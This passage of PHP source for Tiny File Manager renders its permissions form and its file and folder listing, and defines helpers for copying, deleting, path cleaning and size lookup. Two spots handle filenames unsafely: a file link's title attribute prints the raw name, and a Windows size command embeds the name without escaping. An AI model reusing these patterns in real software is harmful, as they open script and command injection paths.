        fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path

    $file_url = FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file;
    $file_path = $path . '/' . $file;

    $mode = fileperms($path . '/' . $file);
?>
    <div class="path">
        <div class="card mb-2" data-bs-theme="<?php echo FM_THEME; ?>">
            <h6 class="card-header">
                <?php echo lng('ChangePermissions') ?>
            </h6>
            <div class="card-body">
                <p class="card-text">
                    <?php $display_path = fm_get_display_path($file_path); ?>
                    <?php echo $display_path['label']; ?>: <?php echo $display_path['path']; ?><br>
                </p>
                <form action="" method="post">
                    <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>">
                    <input type="hidden" name="chmod" value="<?php echo fm_enc($file) ?>">

                    <table class="table compact-table" data-bs-theme="<?php echo FM_THEME; ?>">
                        <tr>
                            <td></td>
                            <td><b><?php echo lng('Owner') ?></b></td>
                            <td><b><?php echo lng('Group') ?></b></td>
                            <td><b><?php echo lng('Other') ?></b></td>
                        </tr>
                        <tr>
                            <td style="text-align: right"><b><?php echo lng('Read') ?></b></td>
                            <td><label><input type="checkbox" name="ur" value="1" <?php echo ($mode & 00400) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="gr" value="1" <?php echo ($mode & 00040) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="or" value="1" <?php echo ($mode & 00004) ? ' checked' : '' ?>></label></td>
                        </tr>
                        <tr>
                            <td style="text-align: right"><b><?php echo lng('Write') ?></b></td>
                            <td><label><input type="checkbox" name="uw" value="1" <?php echo ($mode & 00200) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="gw" value="1" <?php echo ($mode & 00020) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="ow" value="1" <?php echo ($mode & 00002) ? ' checked' : '' ?>></label></td>
                        </tr>
                        <tr>
                            <td style="text-align: right"><b><?php echo lng('Execute') ?></b></td>
                            <td><label><input type="checkbox" name="ux" value="1" <?php echo ($mode & 00100) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="gx" value="1" <?php echo ($mode & 00010) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="ox" value="1" <?php echo ($mode & 00001) ? ' checked' : '' ?>></label></td>
                        </tr>
                    </table>

                    <p>
                        <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                        <b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-primary"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></a></b>&nbsp;
                        <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('Change') ?></button>
                    </p>
                </form>
            </div>
        </div>
    </div>
<?php
    fm_show_footer();
    exit;
}

// --- TINYFILEMANAGER MAIN ---
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path

// show alert messages
fm_show_message();

$num_files = count($files);
$num_folders = count($folders);
$all_files_size = 0;
?>
<form action="" method="post" class="pt-3">
    <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>">
    <input type="hidden" name="group" value="1">
    <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
    <div class="table-responsive">
        <table class="table table-bordered table-hover table-sm" id="main-table" data-bs-theme="<?php echo FM_THEME; ?>">
            <thead class="thead-white">
                <tr>
                    <?php if (!FM_READONLY): ?>
                        <th style="width:3%" class="custom-checkbox-header">
                            <div class="custom-control custom-checkbox">
                                <input type="checkbox" class="custom-control-input" id="js-select-all-items" onclick="checkbox_toggle()">
                                <label class="custom-control-label" for="js-select-all-items"></label>
                            </div>
                        </th><?php endif; ?>
                    <th><?php echo lng('Name') ?></th>
                    <th><?php echo lng('Size') ?></th>
                    <th><?php echo lng('Modified') ?></th>
                    <?php if (!FM_IS_WIN && !$hide_Cols): ?>
                        <th><?php echo lng('Perms') ?></th>
                        <th><?php echo lng('Owner') ?></th><?php endif; ?>
                    <th><?php echo lng('Actions') ?></th>
                </tr>
            </thead>
            <?php
            // link to parent folder
            if ($parent !== false) {
            ?>
                <tr><?php if (!FM_READONLY): ?>
                        <td class="nosort"></td><?php endif; ?>
                    <td class="border-0" data-sort><a href="?p=<?php echo urlencode($parent) ?>"><i class="fa fa-chevron-circle-left go-back"></i> ..</a></td>
                    <td class="border-0" data-order></td>
                    <td class="border-0" data-order></td>
                    <td class="border-0"></td>
                    <?php if (!FM_IS_WIN && !$hide_Cols) { ?>
                        <td class="border-0"></td>
                        <td class="border-0"></td>
                    <?php } ?>
                </tr>
            <?php
            }
            $ii = 3399;
            foreach ($folders as $f) {
                $is_link = is_link($path . '/' . $f);
                $img = $is_link ? 'icon-link_folder' : 'fa fa-folder-o';
                $modif_raw = filemtime($path . '/' . $f);
                $modif = date(FM_DATETIME_FORMAT, $modif_raw);
                $date_sorting = strtotime(date("F d Y H:i:s.", $modif_raw));
                $filesize_raw = "";
                $filesize = lng('Folder');
                $perms = substr(decoct(fileperms($path . '/' . $f)), -4);
                $owner = array('name' => '?'); 
                $group = array('name' => '?');
                if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) {
                    try {
                        $owner_id = fileowner($path . '/' . $f);
                        if ($owner_id != 0) {
                            $owner_info = posix_getpwuid($owner_id);
                            if ($owner_info) {
                                $owner =  $owner_info;
                            }
                        }
                        $group_id = filegroup($path . '/' . $f);
                        $group_info = posix_getgrgid($group_id);
                        if ($group_info) {
                            $group =  $group_info;
                        }
                    } catch (Exception $e) {
                        error_log("exception:" . $e->getMessage());
                    }
                }
            ?>
                <tr>
                    <?php if (!FM_READONLY): ?>
                        <td class="custom-checkbox-td">
                            <div class="custom-control custom-checkbox">
                                <input type="checkbox" class="custom-control-input" id="<?php echo $ii ?>" name="file[]" value="<?php echo fm_enc($f) ?>">
                                <label class="custom-control-label" for="<?php echo $ii ?>"></label>
                            </div>
                        </td>
                    <?php endif; ?>
                    <td data-sort=<?php echo fm_convert_win(fm_enc($f)) ?>>
                        <div class="filename">
                            <a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="<?php echo $img ?>"></i> <?php echo fm_convert_win(fm_enc($f)) ?></a>
                            <?php echo ($is_link ? ' &rarr; <i>' . readlink($path . '/' . $f) . '</i>' : '') ?>
                        </div>
                    </td>
                    <td data-order="a-<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT); ?>">
                        <?php echo $filesize; ?>
                    </td>
                    <td data-order="a-<?php echo $date_sorting; ?>"><?php echo $modif ?></td>
                    <?php if (!FM_IS_WIN && !$hide_Cols): ?>
                        <td>
                            <?php if (!FM_READONLY): ?><a title="Change Permissions" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?>
                        </td>
                        <td>
                            <?php echo $owner['name'] . ':' . $group['name'] ?>
                        </td>
                    <?php endif; ?>
                    <td class="inline-actions"><?php if (!FM_READONLY): ?>
                            <a title="<?php echo lng('Delete') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;del=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, '1028','<?php echo lng('Delete') . ' ' . lng('Folder'); ?>','<?php echo urlencode($f) ?>', this.href);"> <i class="fa fa-trash-o" aria-hidden="true"></i></a>
                            <a title="<?php echo lng('Rename') ?>" href="#" onclick="rename('<?php echo fm_enc(addslashes(FM_PATH)) ?>', '<?php echo fm_enc(addslashes($f)) ?>');return false;"><i class="fa fa-pencil-square-o" aria-hidden="true"></i></a>
                            <a title="<?php echo lng('CopyTo') ?>..." href="?p=&amp;copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="fa fa-files-o" aria-hidden="true"></i></a>
                        <?php endif; ?>
                        <a title="<?php echo lng('DirectLink') ?>" href="<?php echo fm_enc(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f . '/') ?>" target="_blank"><i class="fa fa-link" aria-hidden="true"></i></a>
                    </td>
                </tr>
            <?php
                flush();
                $ii++;
            }
            $ik = 8002;
            foreach ($files as $f) {
                $is_link = is_link($path . '/' . $f);
                $img = $is_link ? 'fa fa-file-text-o' : fm_get_file_icon_class($path . '/' . $f);
                $modif_raw = filemtime($path . '/' . $f);
                $modif = date(FM_DATETIME_FORMAT, $modif_raw);
                $date_sorting = strtotime(date("F d Y H:i:s.", $modif_raw));
                $filesize_raw = fm_get_size($path . '/' . $f);
                $filesize = fm_get_filesize($filesize_raw);
                $filelink = '?p=' . urlencode(FM_PATH) . '&amp;view=' . urlencode($f);
                $all_files_size += $filesize_raw;
                $perms = substr(decoct(fileperms($path . '/' . $f)), -4);
                $owner = array('name' => '?'); 
                $group = array('name' => '?');
                if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) {
                    try {
                        $owner_id = fileowner($path . '/' . $f);
                        if ($owner_id != 0) {
                            $owner_info = posix_getpwuid($owner_id);
                            if ($owner_info) {
                                $owner =  $owner_info;
                            }
                        }
                        $group_id = filegroup($path . '/' . $f);
                        $group_info = posix_getgrgid($group_id);
                        if ($group_info) {
                            $group =  $group_info;
                        }
                    } catch (Exception $e) {
                        error_log("exception:" . $e->getMessage());
                    }
                }
            ?>
                <tr>
                    <?php if (!FM_READONLY): ?>
                        <td class="custom-checkbox-td">
                            <div class="custom-control custom-checkbox">
                                <input type="checkbox" class="custom-control-input" id="<?php echo $ik ?>" name="file[]" value="<?php echo fm_enc($f) ?>">
                                <label class="custom-control-label" for="<?php echo $ik ?>"></label>
                            </div>
                        </td><?php endif; ?>
                    <td data-sort=<?php echo fm_enc($f) ?>>
                        <div class="filename">
                            <?php
                            if (in_array(strtolower(pathinfo($f, PATHINFO_EXTENSION)), array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))): ?>
                                <?php $imagePreview = fm_enc(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f); ?>
                                <a href="<?php echo $filelink ?>" data-preview-image="<?php echo $imagePreview ?>" title="<?php echo fm_enc($f) ?>">
                                <?php else: ?>
                                    <a href="<?php echo $filelink ?>" title="<?php echo $f ?>">
                                    <?php endif; ?>
                                    <i class="<?php echo $img ?>"></i> <?php echo fm_convert_win(fm_enc($f)) ?>
                                    </a>
                                    <?php echo ($is_link ? ' &rarr; <i>' . readlink($path . '/' . $f) . '</i>' : '') ?>
                        </div>
                    </td>
                    <td data-order="b-<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT); ?>"><span title="<?php printf('%s bytes', $filesize_raw) ?>">
                            <?php echo $filesize; ?>
                        </span></td>
                    <td data-order="b-<?php echo $date_sorting; ?>"><?php echo $modif ?></td>
                    <?php if (!FM_IS_WIN && !$hide_Cols): ?>
                        <td><?php if (!FM_READONLY): ?><a title="<?php echo 'Change Permissions' ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?>
                        </td>
                        <td><?php echo fm_enc($owner['name'] . ':' . $group['name']) ?></td>
                    <?php endif; ?>
                    <td class="inline-actions">
                        <?php if (!FM_READONLY): ?>
                            <a title="<?php echo lng('Delete') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;del=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, 1209, '<?php echo lng('Delete') . ' ' . lng('File'); ?>','<?php echo urlencode($f); ?>', this.href);"> <i class="fa fa-trash-o"></i></a>
                            <a title="<?php echo lng('Rename') ?>" href="#" onclick="rename('<?php echo fm_enc(addslashes(FM_PATH)) ?>', '<?php echo fm_enc(addslashes($f)) ?>');return false;"><i class="fa fa-pencil-square-o"></i></a>
                            <a title="<?php echo lng('CopyTo') ?>..."
                                href="?p=<?php echo urlencode(FM_PATH) ?>&amp;copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="fa fa-files-o"></i></a>
                        <?php endif; ?>
                        <a title="<?php echo lng('DirectLink') ?>" href="<?php echo fm_enc(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f) ?>" target="_blank"><i class="fa fa-link"></i></a>
                        <a title="<?php echo lng('Download') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;dl=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, 1211, '<?php echo lng('Download'); ?>','<?php echo urlencode($f); ?>', this.href);"><i class="fa fa-download"></i></a>
                    </td>
                </tr>
            <?php
                flush();
                $ik++;
            }

            if (empty($folders) && empty($files)) { ?>
                <tfoot>
                    <tr><?php if (!FM_READONLY): ?>
                            <td></td><?php endif; ?>
                        <td colspan="<?php echo (!FM_IS_WIN && !$hide_Cols) ? '6' : '4' ?>"><em><?php echo lng('Folder is empty') ?></em></td>
                    </tr>
                </tfoot>
            <?php
            } else { ?>
                <tfoot>
                    <tr>
                        <td class="gray fs-7" colspan="<?php echo (!FM_IS_WIN && !$hide_Cols) ? (FM_READONLY ? '6' : '7') : (FM_READONLY ? '4' : '5') ?>">
                            <?php echo lng('FullSize') . ': <span class="badge text-bg-light border-radius-0">' . fm_get_filesize($all_files_size) . '</span>' ?>
                            <?php echo lng('File') . ': <span class="badge text-bg-light border-radius-0">' . $num_files . '</span>' ?>
                            <?php echo lng('Folder') . ': <span class="badge text-bg-light border-radius-0">' . $num_folders . '</span>' ?>
                        </td>
                    </tr>
                </tfoot>
            <?php } ?>
        </table>
    </div>

    <div class="row">
        <?php if (!FM_READONLY): ?>
            <div class="col-xs-12 col-sm-9">
                <div class="btn-group flex-wrap" data-toggle="buttons" role="toolbar">
                    <a href="#/select-all" class="btn btn-small btn-outline-primary btn-2" onclick="select_all();return false;"><i class="fa fa-check-square"></i> <?php echo lng('SelectAll') ?> </a>
                    <a href="#/unselect-all" class="btn btn-small btn-outline-primary btn-2" onclick="unselect_all();return false;"><i class="fa fa-window-close"></i> <?php echo lng('UnSelectAll') ?> </a>
                    <a href="#/invert-all" class="btn btn-small btn-outline-primary btn-2" onclick="invert_all();return false;"><i class="fa fa-th-list"></i> <?php echo lng('InvertSelection') ?> </a>
                    <input type="submit" class="hidden" name="delete" id="a-delete" value="Delete" onclick="return confirm('<?php echo lng('Delete selected files and folders?'); ?>')">
                    <a href="javascript:document.getElementById('a-delete').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-trash"></i> <?php echo lng('Delete') ?> </a>
                    <input type="submit" class="hidden" name="zip" id="a-zip" value="zip" onclick="return confirm('<?php echo lng('Create archive?'); ?>')">
                    <a href="javascript:document.getElementById('a-zip').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng('Zip') ?> </a>
                    <input type="submit" class="hidden" name="tar" id="a-tar" value="tar" onclick="return confirm('<?php echo lng('Create archive?'); ?>')">
                    <a href="javascript:document.getElementById('a-tar').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng('Tar') ?> </a>
                    <input type="submit" class="hidden" name="copy" id="a-copy" value="Copy">
                    <a href="javascript:document.getElementById('a-copy').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-files-o"></i> <?php echo lng('Copy') ?> </a>
                </div>
            </div>
            <div class="col-3 d-none d-sm-block"><a href="https://tinyfilemanager.github.io" target="_blank" class="float-right text-muted">Tiny File Manager <?php echo VERSION; ?></a></div>
        <?php else: ?>
            <div class="col-12"><a href="https://tinyfilemanager.github.io" target="_blank" class="float-right text-muted">Tiny File Manager <?php echo VERSION; ?></a></div>
        <?php endif; ?>
    </div>
</form>

<?php
fm_show_footer();

// --- END HTML ---

// Functions

/**
 * It prints the css/js files into html
 * @param key The key of the external file to print.
 */
function print_external($key)
{
    global $external;

    if (!array_key_exists($key, $external)) {
        // throw new Exception('Key missing in external: ' . key);
        echo "<!-- EXTERNAL: MISSING KEY $key -->";
        return;
    }

    echo "$external[$key]";
}

/**
 * Verify CSRF TOKEN and remove after certified
 * @param string $token
 * @return bool
 */
function verifyToken($token)
{
    if (hash_equals($_SESSION['token'], $token)) {
        return true;
    }
    return false;
}

/**
 * Delete  file or folder (recursively)
 * @param string $path
 * @return bool
 */
function fm_rdelete($path)
{
    if (is_link($path)) {
        return unlink($path);
    } elseif (is_dir($path)) {
        $objects = scandir($path);
        $ok = true;
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' && $file != '..') {
                    if (!fm_rdelete($path . '/' . $file)) {
                        $ok = false;
                    }
                }
            }
        }
        return ($ok) ? rmdir($path) : false;
    } elseif (is_file($path)) {
        return unlink($path);
    }
    return false;
}

/**
 * Recursive chmod
 * @param string $path
 * @param int $filemode
 * @param int $dirmode
 * @return bool
 * @todo Will use in mass chmod
 */
function fm_rchmod($path, $filemode, $dirmode)
{
    if (is_dir($path)) {
        if (!chmod($path, $dirmode)) {
            return false;
        }
        $objects = scandir($path);
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' && $file != '..') {
                    if (!fm_rchmod($path . '/' . $file, $filemode, $dirmode)) {
                        return false;
                    }
                }
            }
        }
        return true;
    } elseif (is_link($path)) {
        return true;
    } elseif (is_file($path)) {
        return chmod($path, $filemode);
    }
    return false;
}

/**
 * Check the file extension which is allowed or not
 * @param string $filename
 * @return bool
 */
function fm_is_valid_ext($filename)
{
    $allowed = (FM_FILE_EXTENSION) ? explode(',', FM_FILE_EXTENSION) : false;

    $ext = pathinfo($filename, PATHINFO_EXTENSION);
    $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;

    return ($isFileAllowed) ? true : false;
}

/**
 * Safely rename
 * @param string $old
 * @param string $new
 * @return bool|null
 */
function fm_rename($old, $new)
{
    $isFileAllowed = fm_is_valid_ext($new);

    if (!is_dir($old)) {
        if (!$isFileAllowed) return false;
    }

    return (!file_exists($new) && file_exists($old)) ? rename($old, $new) : null;
}

/**
 * Copy file or folder (recursively).
 * @param string $path
 * @param string $dest
 * @param bool $upd Update files
 * @param bool $force Create folder with same names instead file
 * @return bool
 */
function fm_rcopy($path, $dest, $upd = true, $force = true)
{
    if (!is_dir($path) && !is_file($path)) {
        return false;
    }

    if (is_dir($path)) {
        if (!fm_mkdir($dest, $force)) {
            return false;
        }

        $objects = array_diff(scandir($path), ['.', '..']);

        foreach ($objects as $file) {
            if (!fm_rcopy("$path/$file", "$dest/$file", $upd, $force)) {
                return false;
            }
        }

        return true;
    }

    // Handle file copying
    return fm_copy($path, $dest, $upd);
}


/**
 * Safely create folder
 * @param string $dir
 * @param bool $force
 * @return bool
 */
function fm_mkdir($dir, $force)
{
    if (file_exists($dir)) {
        if (is_dir($dir)) {
            return $dir;
        } elseif (!$force) {
            return false;
        }
        unlink($dir);
    }
    return mkdir($dir, 0777, true);
}

/**
 * Safely copy file
 * @param string $f1
 * @param string $f2
 * @param bool $upd Indicates if file should be updated with new content
 * @return bool
 */
function fm_copy($f1, $f2, $upd)
{
    $time1 = filemtime($f1);
    if (file_exists($f2)) {
        $time2 = filemtime($f2);
        if ($time2 >= $time1 && $upd) {
            return false;
        }
    }
    $ok = copy($f1, $f2);
    if ($ok) {
        touch($f2, $time1);
    }
    return $ok;
}

/**
 * Get mime type
 * @param string $file_path
 * @return mixed|string
 */
function fm_get_mime_type($file_path)
{
    if (function_exists('finfo_open')) {
        $finfo = finfo_open(FILEINFO_MIME_TYPE);
        $mime = finfo_file($finfo, $file_path);
        finfo_close($finfo);
        return $mime;
    } elseif (function_exists('mime_content_type')) {
        return mime_content_type($file_path);
    } elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) {
        $file = escapeshellarg($file_path);
        $mime = shell_exec('file -bi ' . $file);
        return $mime;
    } else {
        return '--';
    }
}

/**
 * HTTP Redirect
 * @param string $url
 * @param int $code
 */
function fm_redirect($url, $code = 302)
{
    header('Location: ' . $url, true, $code);
    exit;
}

/**
 * Path traversal prevention and clean the url
 * It replaces (consecutive) occurrences of / and \\ with whatever is in DIRECTORY_SEPARATOR, and processes /. and /.. fine.
 * @param $path
 * @return string
 */
function get_absolute_path($path)
{
    $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path);
    $parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen');
    $absolutes = array();
    foreach ($parts as $part) {
        if ('.' == $part) continue;
        if ('..' == $part) {
            array_pop($absolutes);
        } else {
            $absolutes[] = $part;
        }
    }
    return implode(DIRECTORY_SEPARATOR, $absolutes);
}

/**
 * Clean path
 * @param string $path
 * @return string
 */
function fm_clean_path($path, $trim = true)
{
    $path = $trim ? trim($path) : $path;
    $path = trim($path, '\\/');
    $path = str_replace(array('../', '..\\'), '', $path);
    $path =  get_absolute_path($path);
    if ($path == '..') {
        $path = '';
    }
    return str_replace('\\', '/', $path);
}

/**
 * Get parent path
 * @param string $path
 * @return bool|string
 */
function fm_get_parent_path($path)
{
    $path = fm_clean_path($path);
    if ($path != '') {
        $array = explode('/', $path);
        if (count($array) > 1) {
            $array = array_slice($array, 0, -1);
            return implode('/', $array);
        }
        return '';
    }
    return false;
}

function fm_get_display_path($file_path)
{
    global $path_display_mode, $root_path, $root_url;
    switch ($path_display_mode) {
        case 'relative':
            return array(
                'label' => 'Path',
                'path' => fm_enc(fm_convert_win(str_replace($root_path, '', $file_path)))
            );
        case 'host':
            $relative_path = str_replace($root_path, '', $file_path);
            return array(
                'label' => 'Host Path',
                'path' => fm_enc(fm_convert_win('/' . $root_url . '/' . ltrim(str_replace('\\', '/', $relative_path), '/')))
            );
        case 'full':
        default:
            return array(
                'label' => 'Full Path',
                'path' => fm_enc(fm_convert_win($file_path))
            );
    }
}

/**
 * Check file is in exclude list
 * @param string $name The name of the file/folder
 * @param string $path The full path of the file/folder
 * @return bool
 */
function fm_is_exclude_items($name, $path)
{
    $ext = strtolower(pathinfo($name, PATHINFO_EXTENSION));
    if (isset($exclude_items) and sizeof($exclude_items)) {
        unset($exclude_items);
    }

    $exclude_items = FM_EXCLUDE_ITEMS;
    if (version_compare(PHP_VERSION, '7.0.0', '<')) {
        $exclude_items = unserialize($exclude_items);
    }
    if (!in_array($name, $exclude_items) && !in_array("*.$ext", $exclude_items) && !in_array($path, $exclude_items)) {
        return true;
    }
    return false;
}

/**
 * get language translations from json file
 * @param int $tr
 * @return array
 */
function fm_get_translations($tr)
{
    try {
        $content = @file_get_contents('translation.json');
        if ($content !== FALSE) {
            $lng = json_decode($content, TRUE);
            global $lang_list;
            foreach ($lng["language"] as $key => $value) {
                $code = $value["code"];
                $lang_list[$code] = $value["name"];
                if ($tr)
                    $tr[$code] = $value["translation"];
            }
            return $tr;
        }
    } catch (Exception $e) {
        echo $e;
    }
}

/**
 * @param string $file
 * Recover all file sizes larger than > 2GB.
 * Works on php 32bits and 64bits and supports linux
 * @return int|string
 */
function fm_get_size($file)
{
    static $iswin = null;
    static $isdarwin = null;
    static $exec_works = null;

    // Set static variables once
    if ($iswin === null) {
        $iswin = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN';
        $isdarwin = strtoupper(PHP_OS) === 'DARWIN';
        $exec_works = function_exists('exec') && !ini_get('safe_mode') && @exec('echo EXEC') === 'EXEC';
    }

    // Attempt shell command if exec is available
    if ($exec_works) {
        $arg = escapeshellarg($file);
        $cmd = $iswin ? "for %F in (\"$file\") do @echo %~zF" : ($isdarwin ? "stat -f%z $arg" : "stat -c%s $arg");
        @exec($cmd, $output);

        if (!empty($output) && ctype_digit($size = trim(implode("\n", $output)))) {
            return $size;
        }
    }

    // Attempt Windows COM interface for Windows systems
    if ($iswin && class_exists('COM')) {
        try {
            $fsobj = new COM('Scripting.FileSystemObject');
            $f = $fsobj->GetFile(realpath($file));
            if (ctype_digit($size = $f->Size)) {
                return $size;
            }
        } catch (Exception $e) {
            // COM failed, fallback to filesize
        }
    }

    // Default to PHP's filesize function
    return filesize($file);
}


/**
 * Get nice filesize
 * @param int $size
 * @return string
 */
function fm_get_filesize($size)
{
    $size = (float) $size;
    $units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB');
    $power = ($size > 0) ? floor(log($size, 1024)) : 0;
    $power = ($power > (count($units) - 1)) ? (count($units) - 1) : $power;
    return sprintf('%s %s', round($size / pow(1024, $power), 2), $units[$power]);
}

/**
 * Get info about zip archive
 * @param string $path
 * @return array|bool
 */
function fm_get_zif_info($path, $ext)
{
    if ($ext == 'zip' && function_exists('zip_open')) {
        $arch = @zip_open($path);
        if ($arch) {
            $filenames = array();
            while ($zip_entry = @zip_read($arch)) {
                $zip_name = @zip_entry_name($zip_entry);
                $zip_folder = substr($zip_name, -1) == '/';
                $filenames[] = array(
                    'name' => $zip_name,
                    'filesize' => @zip_entry_filesize($zip_entry),
                    'compressed_size' => @zip_entry_compressedsize($zip_entry),
                    'folder' => $zip_folder
                    //'compression_method' => zip_entry_compressionmethod($zip_entry),
                );
            }
            @zip_close($arch);
            return $filenames;
        }
    } elseif ($ext == 'tar' && class_exists('PharData')) {
        $archive = new PharData($path);
        $filenames = array();
        foreach (new RecursiveIteratorIterator($archive) as $file) {
            $parent_info = $file->getPathInfo();
            $zip_name = str_replace("phar://" . $path, '', $file->getPathName());
            $zip_name = substr($zip_name, ($pos = strpos($zip_name, '/')) !== false ? $pos + 1 : 0);
            $zip_folder = $parent_info->getFileName();
            $zip_info = new SplFileInfo($file);
            $filenames[] = array(
                'name' => $zip_name,
                'filesize' => $zip_info->getSize(),
                'compressed_size' => $file->getCompressedSize(),
                'folder' => $zip_folder
            );
        }
        return $filenames;
    }
    return false;
}

/**
 * Encode html entities
 * @param string $text
 * @return string
 */
function fm_enc($text)
{
    return htmlspecialchars($text, ENT_QUOTES, 'UTF-8');
}

/**
 * Prevent XSS attacks
 * @param string $text
 * @return string
 */
function fm_isvalid_filename($text)
{
    return (strpbrk($text, '/?%*:|"<>') === FALSE) ? true : false;
}

/**
 * Save message in session
 * @param string $msg
 * @param string $status
 */
function fm_set_msg($msg, $status = 'ok')
{
    $_SESSION[FM_SESSION_ID]['message'] = $msg;
    $_SESSION[FM_SESSION_ID]['status'] = $status;
}

/**
 * Check if string is in UTF-8
 * @param string $string
 * @return int
 */
function fm_is_utf8($string)
{
    return preg_match('//u', $string);
}

/**
 * Convert file name to UTF-8 in Windows
 * @param string $filename
 * @return string
 */
function fm_convert_win($filename)
{
    if (FM_IS_WIN && function_exists('iconv')) {
        $filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename);
    }
    return $filename;
}

/**
 * @param $obj
 * @return array
 */
function fm_object_to_array($obj)
{
    if (!is_object($obj) && !is_array($obj)) {
        return $obj;
    }
    if (is_object($obj)) {
        $obj = get_object_vars($obj);
    }
    return array_map('fm_object_to_array', $obj);
}

/**
 * Get CSS classname for file
 * @param string $path
 * @return string
 */
function fm_get_file_icon_class($path)
{
    // get extension
    $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));

    switch ($ext) {
        case 'ico':
        case 'gif':
        case 'jpg':
        case 'jpeg':
        case 'jpc':
        case 'jp2':
        case 'jpx':
        case 'xbm':
        case 'wbmp':
        case 'png':
        case 'bmp':
        case 'tif':
        case 'tiff':
        case 'webp':
        case 'avif':
        case 'svg':
            $img = 'fa fa-picture-o';
            break;
        case 'passwd':
        case 'ftpquota':
        case 'sql':
        case 'js':
        case 'ts':
        case 'jsx':
        case 'tsx':
        case 'hbs':
        case 'json':
        case 'sh':
        case 'config':
        case 'twig':
        case 'tpl':
        case 'md':
        case 'gitignore':
        case 'c':
        case 'cpp':
        case 'cs':
        case 'py':
        case 'rs':
        case 'map':
        case 'lock':
        case 'dtd':
        case 'ps1':
            $img = 'fa fa-file-code-o';
            break;
        case 'txt':
        case 'ini':
        case 'conf':
        case 'log':
        case 'htaccess':
        case 'yaml':
        case 'yml':
        case 'toml':
        case 'tmp':
        case 'top':
        case 'bot':
        case 'dat':
        case 'bak':
        case 'htpasswd':
        case 'pl':
            $img = 'fa fa-file-text-o';
            break;
        case 'css':
        case 'less':
        case 'sass':
        case 'scss':
            $img = 'fa fa-css3';
            break;
        case 'bz2':
        case 'tbz2':
        case 'tbz':
        case 'zip':
        case 'rar':
        case 'gz':
        case 'tgz':
        case 'tar':
        case '7z':
        case 'xz':
        case 'txz':
        case 'zst':
        case 'tzst':
            $img = 'fa fa-file-archive-o';
            break;
        case 'php':
        case 'php4':
        case 'php5':
        case 'phps':
        case 'phtml':
            $img = 'fa fa-code';
            break;
        case 'htm':
        case 'html':
        case 'shtml':
        case 'xhtml':
            $img = 'fa fa-html5';
            break;
        case 'xml':
        case 'xsl':
            $img = 'fa fa-file-excel-o';
            break;
        case 'wav':
        case 'mp3':
        case 'mp2':
        case 'm4a':
        case 'aac':
        case 'ogg':
        case 'oga':
        case 'wma':
        case 'mka':
        case 'flac':
        case 'ac3':
        case 'tds':
            $img = 'fa fa-music';
            break;
        case 'm3u':
        case 'm3u8':
        case 'pls':
        case 'cue':
        case 'xspf':
            $img = 'fa fa-headphones';
            break;
        case 'avi':
        case 'mpg':
        case 'mpeg':
        case 'mp4':
        case 'm4v':
        case 'flv':
        case 'f4v':
        case 'ogm':
        case 'ogv':
        case 'mov':
        case 'mkv':
        case '3gp':
        case 'asf':
        case 'wmv':
        case 'webm':
            $img = 'fa fa-file-video-o';
            break;
        case 'eml':
        case 'msg':
            $img = 'fa fa-envelope-o';
            break;
        case 'xls':
        case 'xlsx':
        case 'ods':
            $img = 'fa fa-file-excel-o';
            break;
        case 'csv':
